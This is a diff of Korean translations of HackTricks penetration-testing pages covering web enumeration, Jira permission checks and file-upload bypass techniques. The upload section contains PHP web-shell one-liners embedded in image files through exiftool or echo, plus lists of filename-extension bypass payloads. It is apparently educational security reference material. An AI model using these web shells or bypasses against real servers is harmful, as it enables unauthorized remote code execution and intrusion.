* 여러 경우에는 사용된 정규 표현식을 **이해해야 할 수도 있습니다**. 이 링크가 유용할 것입니다: [https://regex101.com/](https://regex101.com) * 여러 경우에는 사용된 정규 표현식을 **이해**해야 할 수도 있습니다. 이 링크가 유용할 것입니다: [https://regex101.com/](https://regex101.com)
* 발견된 양식이 있는 파일을 **모니터링**해야 할 수도 있습니다. 매개변수의 변경이나 새 양식의 나타남은 잠재적인 취약 기능을 나타낼 수 있습니다. * 또한 **양식이 감지된 파일을 모니터링**해야 할 수도 있습니다. 매개변수의 변경이나 새 양식의 나타남은 잠재적인 취약 기능을 나타낼 수 있습니다.
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
@ -325,17 +325,17 @@ _브루트 포싱이나 스파이더링 중에 새 디렉토리를 발견할 때
**502 Proxy Error** **502 Proxy Error**
해당 **코드**로 응답하는 페이지가 있으면 아마도 **잘못 구성된 프록시**입니다. `GET https://google.com HTTP/1.1`와 같은 HTTP 요청을 보내면 (호스트 헤더 및 기타 일반적인 헤더와 함께), **프록시**가 _**google.com**_에 **액세스**하려고 시도할 것이며 SSRF를 발견할 수 있습니다. 해당 **코드**로 응답하는 페이지가 있으면 아마도 **잘못 구성된 프록시**입니다. `GET https://google.com HTTP/1.1` (호스트 헤더 및 기타 일반적인 헤더와 함께)와 같은 HTTP 요청을 보내면 **프록시**가 _**google.com**_에 액세스하려고 시도할 것이며 **SSRF**를 발견할 수 있습니다.
**NTLM 인증 - 정보 노출** **NTLM 인증 - 정보 노출**
인증을 요청하는 실행 중인 서버가 **Windows**인 경우 또는 자격 증명을 요청하는 로그인이 있으면 (및 **도메인** **이름**을 요청하는 경우), 정보 노출을 유발할 수 있습니다.\ 인증을 요청하는 실행 중인 서버가 **Windows**인 경우 또는 자격 증명을 요청하는 로그인을 찾으면 (및 **도메인 이름**을 요청하는 경우) **정보 노출**을 유발할 수 있습니다.\
`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` 헤더를 **전송**하면 **NTLM 인증**이 작동하는 방식으로 인해 서버가 "WWW-Authenticate" 헤더 내부 정보 (IIS 버전, Windows 버전 등)로 응답합니다.\ `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` 헤더를 **전송**하면 **NTLM 인증 방식** 작동 방식에 따라 서버가 "WWW-Authenticate" 헤더 내부 정보 (IIS 버전, Windows 버전 등)로 응답합니다.\
이를 **자동화**하려면 "_http-ntlm-info.nse_" **nmap 플러그인**을 사용할 수 있습니다. 이를 **자동화**하려면 "_http-ntlm-info.nse_" **nmap 플러그인**을 사용할 수 있습니다.
**HTTP Redirect (CTF)** **HTTP Redirect (CTF)**
**리다이렉션**에 **콘텐츠**를 넣을 수 있습니다. 이 콘텐츠는 사용자에게 **표시되지 않을 것**이지만 거기에 **숨겨진 내용**이 있을 수 있습니다. **리다이렉션**에 **콘텐츠**를 넣을 수 있습니다. 이 콘텐츠는 사용자에게 표시되지 않을 것이므로 (브라우저가 리다이렉션을 실행할 것이기 때문에) 여기에 **숨겨진** 내용이 있을 수 있습니다.
### 웹 취약점 확인 ### 웹 취약점 확인
이제 웹 애플리케이션의 포괄적인 열거가 수행되었으므로 가능한 많은 취약점을 확인할 차례입니다. 여기에서 체크리스트를 찾을 수 있습니다: 이제 웹 애플리케이션의 포괄적인 열거가 수행되었으므로 가능한 많은 취약점을 확인할 차례입니다. 여기에서 체크리스트를 찾을 수 있습니다:
@ -354,9 +354,9 @@ _브루트 포싱이나 스파이더링 중에 새 디렉토리를 발견할 때
[https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io)와 같은 도구를 사용하여 취약점을 삽입할 수 있는 수정 사항을 모니터링할 수 있습니다. [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io)와 같은 도구를 사용하여 취약점을 삽입할 수 있는 수정 사항을 모니터링할 수 있습니다.
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중입니다!** (_유창한 폴란드어 필수_). **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **저희가 채용 중입니다!** (_유창한 폴란드어 작문 및 구사 능력 필요_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
@ -432,14 +432,14 @@ Command: ffuf -w {Subdomain_List}:FUZZ -u {Web_Proto}://{Domain_Name} -H "Host:F
``` ```
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>와 함께 제로부터 영웅이 되는 AWS 해킹 배우기!</summary> <summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요!</summary>
다른 방법으로 HackTricks를 지원하는 방법: 다른 방법으로 HackTricks를 지원하는 방법:
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! * **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 * [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) **팔로우**하세요. * 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) **팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요. * **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>

View file

@ -6,67 +6,67 @@
HackTricks를 지원하는 다른 방법: HackTricks를 지원하는 다른 방법:
- **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
- [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요 * [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
- **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요. * **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
- **HackTricks****HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요. * **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
</details> </details>
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**해킹 경력**에 관심이 있다면, **해킹할 수 없는 것을 해킹하고 싶다면 - 우리는 채용 중입니다!** (_유창한 폴란드어 필수_). **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중**입니다! (_유창한 폴란드어 필수_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
### 권한 확인 ### 권한 확인
Jira에서는 **모든 사용자(인증된 사용자든 아니든)**이 `/rest/api/2/mypermissions` 또는 `/rest/api/3/mypermissions` 엔드포인트를 통해 **권한을 확인**할 수 있습니다. 이러한 엔드포인트는 사용자의 현재 권한을 공개합니다. **인증되지 않은 사용자가 권한을 보유**하는 경우, **보안 취약점**이 있을 수 있으며 이는 **바운티**의 대상이 될 수 있습니다. 마찬가지로, **인증된 사용자에 대한 예상치 못한 권한**도 **취약점**을 강조합니다. Jira에서 **권한은** `/rest/api/2/mypermissions` 또는 `/rest/api/3/mypermissions` 엔드포인트를 통해 **인증된 사용자든 아니든 확인**할 수 있습니다. 이러한 엔드포인트는 사용자의 현재 권한을 공개합니다. **인증되지 않은 사용자가 권한을 보유**하는 경우, **보안 취약점**이 있을 수 있으며 이는 **바운티**의 대상이 될 수 있습니다. 마찬가지로, **인증된 사용자에 대한 예상치 못한 권한**도 **취약점**을 강조합니다.
**중요한 업데이트**가 **2019년 2월 1일**에 이루어졌으며, 'mypermissions' 엔드포인트에 **'permission' 매개변수**를 포함해야 합니다. 이 요구 사항은 쿼리되는 권한을 명시하여 보안을 **강화**하기 위한 것입니다: [여기에서 확인하세요](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter) **중요한 업데이트**가 **2019년 2월 1일**에 이루어졌으며, 'mypermissions' 엔드포인트에 **'permission' 매개변수**를 포함해야 합니다. 이 요구 사항은 쿼리되는 권한을 명시하여 보안을 **강화**하는 데 목적이 있습니다: [여기에서 확인하세요](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
- ADD_COMMENTS * ADD\_COMMENTS
- ADMINISTER * ADMINISTER
- ADMINISTER_PROJECTS * ADMINISTER\_PROJECTS
- ASSIGNABLE_USER * ASSIGNABLE\_USER
- ASSIGN_ISSUES * ASSIGN\_ISSUES
- BROWSE_PROJECTS * BROWSE\_PROJECTS
- BULK_CHANGE * BULK\_CHANGE
- CLOSE_ISSUES * CLOSE\_ISSUES
- CREATE_ATTACHMENTS * CREATE\_ATTACHMENTS
- CREATE_ISSUES * CREATE\_ISSUES
- CREATE_PROJECT * CREATE\_PROJECT
- CREATE_SHARED_OBJECTS * CREATE\_SHARED\_OBJECTS
- DELETE_ALL_ATTACHMENTS * DELETE\_ALL\_ATTACHMENTS
- DELETE_ALL_COMMENTS * DELETE\_ALL\_COMMENTS
- DELETE_ALL_WORKLOGS * DELETE\_ALL\_WORKLOGS
- DELETE_ISSUES * DELETE\_ISSUES
- DELETE_OWN_ATTACHMENTS * DELETE\_OWN\_ATTACHMENTS
- DELETE_OWN_COMMENTS * DELETE\_OWN\_COMMENTS
- DELETE_OWN_WORKLOGS * DELETE\_OWN\_WORKLOGS
- EDIT_ALL_COMMENTS * EDIT\_ALL\_COMMENTS
- EDIT_ALL_WORKLOGS * EDIT\_ALL\_WORKLOGS
- EDIT_ISSUES * EDIT\_ISSUES
- EDIT_OWN_COMMENTS * EDIT\_OWN\_COMMENTS
- EDIT_OWN_WORKLOGS * EDIT\_OWN\_WORKLOGS
- LINK_ISSUES * LINK\_ISSUES
- MANAGE_GROUP_FILTER_SUBSCRIPTIONS * MANAGE\_GROUP\_FILTER\_SUBSCRIPTIONS
- MANAGE_SPRINTS_PERMISSION * MANAGE\_SPRINTS\_PERMISSION
- MANAGE_WATCHERS * MANAGE\_WATCHERS
- MODIFY_REPORTER * MODIFY\_REPORTER
- MOVE_ISSUES * MOVE\_ISSUES
- RESOLVE_ISSUES * RESOLVE\_ISSUES
- SCHEDULE_ISSUES * SCHEDULE\_ISSUES
- SET_ISSUE_SECURITY * SET\_ISSUE\_SECURITY
- SYSTEM_ADMIN * SYSTEM\_ADMIN
- TRANSITION_ISSUES * TRANSITION\_ISSUES
- USER_PICKER * USER\_PICKER
- VIEW_AGGREGATED_DATA * VIEW\_AGGREGATED\_DATA
- VIEW_DEV_TOOLS * VIEW\_DEV\_TOOLS
- VIEW_READONLY_WORKFLOW * VIEW\_READONLY\_WORKFLOW
- VIEW_VOTERS_AND_WATCHERS * VIEW\_VOTERS\_AND\_WATCHERS
- WORK_ON_ISSUES * WORK\_ON\_ISSUES
예: `https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS` 예: `https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS`
```bash ```bash
@ -78,7 +78,7 @@ curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"h
* [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe) * [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe)
* [https://github.com/bcoles/jira\_scan](https://github.com/bcoles/jira\_scan) * [https://github.com/bcoles/jira\_scan](https://github.com/bcoles/jira\_scan)
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
만약 **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **저희가 채용 중입니다!** (_유창한 폴란드어 필수_). 만약 **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **저희가 채용 중입니다!** (_유창한 폴란드어 필수_).
@ -86,14 +86,14 @@ curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"h
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요</strong></summary> <summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary>
HackTricks를 지원하는 다른 방법: HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 * [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요. * 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요. * **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>

View file

@ -2,25 +2,25 @@
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>AWS 해킹을 제로부터 전문가까지 배우세요</strong></a><strong>!</strong></summary>
HackTricks를 지원하는 다른 방법: HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 * [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [telegram 그룹](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**팔로우**하세요. * **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**팔로우**하세요.
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요. * **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
</details> </details>
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 필수_). **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중입니다!** (_폴란드어 유창한 작문 및 구사 능력 필요_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
## 파일 업로드 일반 방법론 ## 파일 업로드 일반적인 방법론
다른 유용한 확장자: 다른 유용한 확장자:
@ -35,11 +35,11 @@ HackTricks를 지원하는 다른 방법:
### 파일 확장자 확인 우회 ### 파일 확장자 확인 우회
1. 적용되는 경우 **이전 확장자를 확인**합니다. 일부 **대문자를 사용하여** 테스트도 수행하세요: _pHp, .pHP5, .PhAr ..._ 1. 적용되는 경우 **이전 확장자를 확인**합니다. 일부 **대문자를 사용하여** 테스트합니다: _pHp, .pHP5, .PhAr ..._
2. _실행 확장자 앞에 **유효한 확장자를 추가하여** 확인하세요 (이전 확장자도 사용):_ 2. _실행 확장자 앞에 **유효한 확장자를 추가**하는지 확인합니다 (이전 확장자도 사용):_
* _file.png.php_ * _file.png.php_
* _file.png.Php5_ * _file.png.Php5_
3. 끝에 **특수 문자를 추가**해보세요. Burp를 사용하여 모든 **ascii****Unicode** 문자를 **브루트포스**할 수 있습니다. (_이전에 언급된 **확장자**를 사용할 수도 있습니다_) 3. 끝에 **특수 문자를 추가**해보세요. Burp를 사용하여 모든 **ascii****Unicode** 문자를 **브루트 포스**할 수 있습니다. (_이전에 언급된 **확장자**를 사용할 수도 있습니다_)
* _file.php%20_ * _file.php%20_
* _file.php%0a_ * _file.php%0a_
* _file.php%00_ * _file.php%00_
@ -49,7 +49,7 @@ HackTricks를 지원하는 다른 방법:
* _file._ * _file._
* _file.php...._ * _file.php...._
* _file.pHp5...._ * _file.pHp5...._
4. 서버 측의 **확장자 파서를 속이는** 방법으로 보호장치를 우회해보세요. **확장자를 두 번** 반복하거나 **확장자 사이에 쓰레기** 데이터 (**null** 바이트)를 추가하는 기술을 사용할 수 있습니다. (_이전 확장자를 사용하여 더 나은 페이로드를 준비할 수도 있습니다_) 4. 서버 측의 **확장자 파서를 속이는** 방법으로 보호를 우회해보세요. **확장자를 두 번** 반복하거나 **확장자 사이에 쓰레기** 데이터 (**null** 바이트)를 추가할 수 있습니다. (_이전 확장자를 사용하여 더 나은 페이로드를 준비할 수도 있습니다_)
* _file.png.php_ * _file.png.php_
* _file.png.pHp5_ * _file.png.pHp5_
* _file.php#.png_ * _file.php#.png_
@ -58,50 +58,64 @@ HackTricks를 지원하는 다른 방법:
* _file.php%0a.png_ * _file.php%0a.png_
* _file.php%0d%0a.png_ * _file.php%0d%0a.png_
* _file.phpJunk123png_ * _file.phpJunk123png_
5. 이전 확인에 **다른 확장자 계층을 추가**하세요: 5. 이전 확인에 **다른 확장자 계층을 추가**합니다:
* _file.png.jpg.php_ * _file.png.jpg.php_
* _file.php%00.png%00.jpg_ * _file.php%00.png%00.jpg_
6. **유효한 확장자가 잘릴 때까지** 파일 이름 제한을 깨보세요. 악의적인 PHP가 남아있게 됩니다. AAA<--SNIP-->AAA.php 6. **유효한 확장자 앞에 실행 확장자를** 놓고 서버가 잘못 구성되었는지 확인하세요. (Apache 구성 오류를 이용하는 데 유용하며, 확장자가 _**.php**_로 끝나지 않아도 **.php**로 끝나는 모든 것이 코드를 실행할 수 있음):
* _예: file.php.png_
7. **Windows**의 **NTFS 대체 데이터 스트림 (ADS)** 사용. 이 경우 금지된 확장자 뒤에 콜론 문자 ":"가 삽입되고 허용된 확장자 앞에 삽입됩니다. 결과적으로 금지된 확장자의 **빈 파일**이 서버에 생성됩니다 (예: "file.asax:.jpg"). 이 파일은 나줴서 다른 기술을 사용하여 나줴서 편집할 수 있습니다. "::$data" 패턴을 사용하여 비어 있지 않은 파일을 만들 수도 있습니다. 따라서 이 패턴 뒤에 점 문자를 추가하여 추가 제한을 우회하는 데 유용할 수도 있습니다 (예: "file.asp::$data.")
8. 파일 이름 제한을 깨보세요. 유효한 확장자가 잘립니다. 악의적인 PHP가 남습니다. AAA<--SNIP-->AAA.php
```
# Linux 최대 255바이트
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 여기서 4를 뺀 후 .png 추가
# 파일을 업로드하고 응답을 확인하여 허용되는 문자 수를 확인합니다. 예를 들어 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# 페이로드 만들기
AAA<--SNIP 232 A-->AAA.php.png
```
### Content-Type, Magic Number, Compression & Resizing 우회 ### Content-Type, Magic Number, Compression & Resizing 우회
* **Content-Type** 체크 우회는 **Content-Type** **헤더**의 **값**을 다음으로 설정하여 가능합니다: _image/png_, _text/plain_, _application/octet-stream_ * **Content-Type** 체크 우회는 **Content-Type** **헤더**의 **값**을 다음과 같이 설정하여 수행할 수 있습니다: _image/png_, _text/plain_, application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt) 1. Content-Type **워드리스트**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
* **매직 넘버** 체크 우회는 **실제 이미지의 바이트**를 파일의 시작에 추가함으로써 가능합니다 (_file_ 명령을 혼란스럽게 함). 또는 **메타데이터** 안에 **쉘을 도입**할 수 있습니다:\ * **매직 넘버** 체크 우회는 **실제 이미지의 바이트**를 파일의 시작 부분에 추가함으로써 ( _file_ 명령을 혼란스럽게 함) 또는 **메타데이터**에 셸을 도입함으로써 수행할 수 있습니다:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\ `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
또는 이미지에 **페이로드를 직접 도입**할 수도 있습니다:\ 또는 이미지에 **페이로드를 직접 도입**할 수도 있습니다:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png` `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
* 이미지에 **압축이 추가**되는 경우, 예를 들어 [PHP-GD](https://www.php.net/manual/fr/book.image.php)와 같은 일반적인 PHP 라이브러리를 사용하여, 이전 기술은 유용하지 않을 수 있습니다. 그러나 **PLTE 청크** [**여기에서 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)를 사용하여 **압축을 생존시킬 수 있는** 텍스트를 삽입할 수 있습니다. * 이미지에 **압축이 추가**되는 경우, 예를 들어 [PHP-GD](https://www.php.net/manual/fr/book.image.php)와 같은 일반적인 PHP 라이브러리를 사용하여 압축이 적용된다면, 이전 기술은 유용하지 않을 수 있습니다. 그러나 **PLTE 청크** [**여기에서 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)를 사용하여 압축을 **생존시킬 수 있는** 텍스트를 삽입할 수 있습니다.
* [**코드가 있는 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php) * [**코드가 있는 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
* 웹 페이지가 **이미지를 조정**하는 경우, 예를 들어 PHP-GD 함수 `imagecopyresized` 또는 `imagecopyresampled`를 사용하는 경우, **IDAT 청크** [**여기에서 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)를 사용하여 **압축을 생존시킬 수 있는** 텍스트를 삽입할 수 있습니다. * 웹 페이지가 **이미지를 조정**하는 경우, 예를 들어 PHP-GD 함수 `imagecopyresized` 또는 `imagecopyresampled` 사용하는 경우, **IDAT 청크** [**여기에서 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)를 사용하여 압축을 **생존시킬 수 있는** 텍스트를 삽입할 수 있습니다.
* [**코드가 있는 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php) * [**코드가 있는 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
* **이미지 조정을 생존시키는** 페이로드를 만들기 위한 다른 기술은 PHP-GD 함수 `thumbnailImage`를 사용하는 것입니다. 그러나 **tEXt 청크** [**여기에서 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)를 사용하여 **압축을 생존시킬 수 있는** 텍스트를 삽입할 수 있습니다. * **이미지 조정을 생존하는 페이로드**를 만들기 위한 다른 기술은 PHP-GD 함수 `thumbnailImage`를 사용하는 것입니다. 그러나 **tEXt 청크** [**여기에서 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)를 사용하여 압축을 **생존시킬 수 있는** 텍스트를 삽입할 수 있습니다.
* [**코드가 있는 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php) * [**코드가 있는 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
### 기타 확인할 트릭 ### 기타 확인할 트릭
* 이미 업로드된 파일의 이름을 **바꾸는 취약점**을 찾아보세요 (확장자 변경). * 이미 업로드된 파일의 이름을 **변경**하는 취약점을 찾아보세요 (확장자 변경).
